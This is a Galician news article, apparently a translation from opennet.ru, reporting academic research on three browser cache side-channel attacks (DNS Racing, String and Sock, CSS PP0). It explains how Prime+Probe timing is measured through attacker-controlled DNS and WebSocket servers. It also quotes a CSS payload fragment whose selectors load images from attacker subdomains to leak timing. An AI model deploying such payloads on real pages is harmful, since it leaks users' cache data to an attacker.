Ataque de extracción de caché da CPU implementado nun navegador web sen JavaScript

Un equipo de investigadores de varias universidades estadounidenses, israelís e australianas desenvolveu tres ataques que se executan en navegadores web para extraer información sobre o contido da caché do procesador. Un método funciona en navegadores sen JavaScript e os outros dous evitan os métodos de protección existentes contra ataques de canles secundarios, incluídos os usados ​​no navegador Tor e DeterFox. O código para demostrar os ataques, así como os compoñentes do servidor necesarios para os ataques, publícanse en GitHub.

Para analizar o contido da caché, todos os ataques empregan o método Prime+Probe, que consiste en encher a caché cun conxunto estándar de valores e detectar cambios medindo o tempo de acceso aos mesmos ao reenchelos. Para evitar os mecanismos de seguridade presentes nos navegadores que interfiren coa medición precisa do tempo, en dúas opcións, faise un chamamento a un servidor DNS ou WebSocket controlado polo atacante, que leva un rexistro do tempo das solicitudes recibidas. Nunha realización, úsase un tempo de resposta DNS fixo como referencia de tempo.

As medicións realizadas mediante servidores DNS ou WebSocket externos, utilizando un sistema de clasificación baseado na aprendizaxe automática, foron suficientes para predecir valores cunha precisión de ata o 98% no escenario máis óptimo (media 80-90%). Os métodos de ataque foron probados en varias plataformas de hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) e demostraron ser universais.

Ataque de extracción de caché da CPU implementado nun navegador web sen JavaScript

A primeira variante do ataque DNS Racing usa unha implementación clásica do método Prime+Probe usando matrices JavaScript. As diferenzas redúcense no uso dun temporizador externo baseado en DNS e un controlador de erros, que se activa cando se intenta cargar unha imaxe dun dominio inexistente. Un temporizador externo permite un ataque Prime+Probe a navegadores que limitan ou desactivan completamente o acceso aos temporizadores de JavaScript.

Para un servidor DNS situado na mesma rede Ethernet, a precisión do temporizador estímase en aproximadamente 2 ms, o que é suficiente para levar a cabo un ataque de canle lateral (para comparación, a precisión do temporizador JavaScript estándar no navegador Tor é reducido a 100 ms). Para o ataque, non é necesario controlar o servidor DNS, xa que se selecciona o tempo de execución da operación para que o tempo de resposta do DNS sirva como sinal dunha conclusión máis cedo da comprobación (dependendo de se se disparou o controlador de erros). antes ou máis tarde, tírase unha conclusión sobre a velocidade da operación de verificación coa caché).

O segundo método de ataque, "String and Sock", ten como obxectivo evitar as técnicas de seguridade que restrinxen o uso de baixo nivel de matrices en JavaScript. En lugar de matrices, String e Sock usan operacións en cadeas moi grandes, cuxo tamaño se escolle para que a variable cobre toda a caché LLC (caché de último nivel). A continuación, usando a función indexOf(), búscase unha pequena subcadea na cadea, que inicialmente está ausente na cadea de orixe, é dicir. a operación de busca resulta en iteración sobre toda a cadea. Dado que o tamaño da liña corresponde ao tamaño da caché LLC, a dixitalización permítelle realizar unha operación de verificación da caché sen manipular as matrices. Para medir os atrasos, en lugar de DNS, realízase unha chamada a un servidor WebSocket controlado polo atacante: antes e despois de que se complete a operación de busca, envíanse consultas na liña, en función das cales o servidor calcula o atraso utilizado para analizar a caché. contidos.

A terceira variante do ataque "CSS PP0" implícase a través de HTML e CSS, e pode funcionar en navegadores con JavaScript desactivado. O método é semellante a "String and Sock", pero non está vinculado a JavaScript. Durante o ataque, xérase un conxunto de selectores CSS que buscan por máscara. A cadea grande inicial que enche a caché establécese creando unha etiqueta div cun nome de clase moi grande. No seu interior hai un conxunto doutros divs cos seus propios identificadores. Cada un destes divs anidados ten o seu propio estilo cun selector que busca unha subcadea. Ao renderizar unha páxina, o navegador primeiro tenta procesar os div internos, o que resulta nunha operación de busca nunha fila grande. A busca realízase usando unha máscara que falta deliberadamente e leva a iterar por toda a liña, despois de que se activa a condición "non" e téntase cargar unha imaxe de fondo que fai referencia a dominios aleatorios: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Os subdominios son atendidos polo servidor DNS do atacante, que pode medir os atrasos na recepción de solicitudes. O servidor DNS emite NXDOMAIN para todas as solicitudes e mantén un rexistro da hora exacta das solicitudes. Como resultado do procesamento dun conxunto de divs, o servidor DNS do atacante recibe unha serie de solicitudes, cuxos atrasos se correlacionan co resultado da comprobación do contido da caché.

Ataque de extracción de caché da CPU implementado nun navegador web sen JavaScript


Fonte: opennet.ru

Engadir un comentario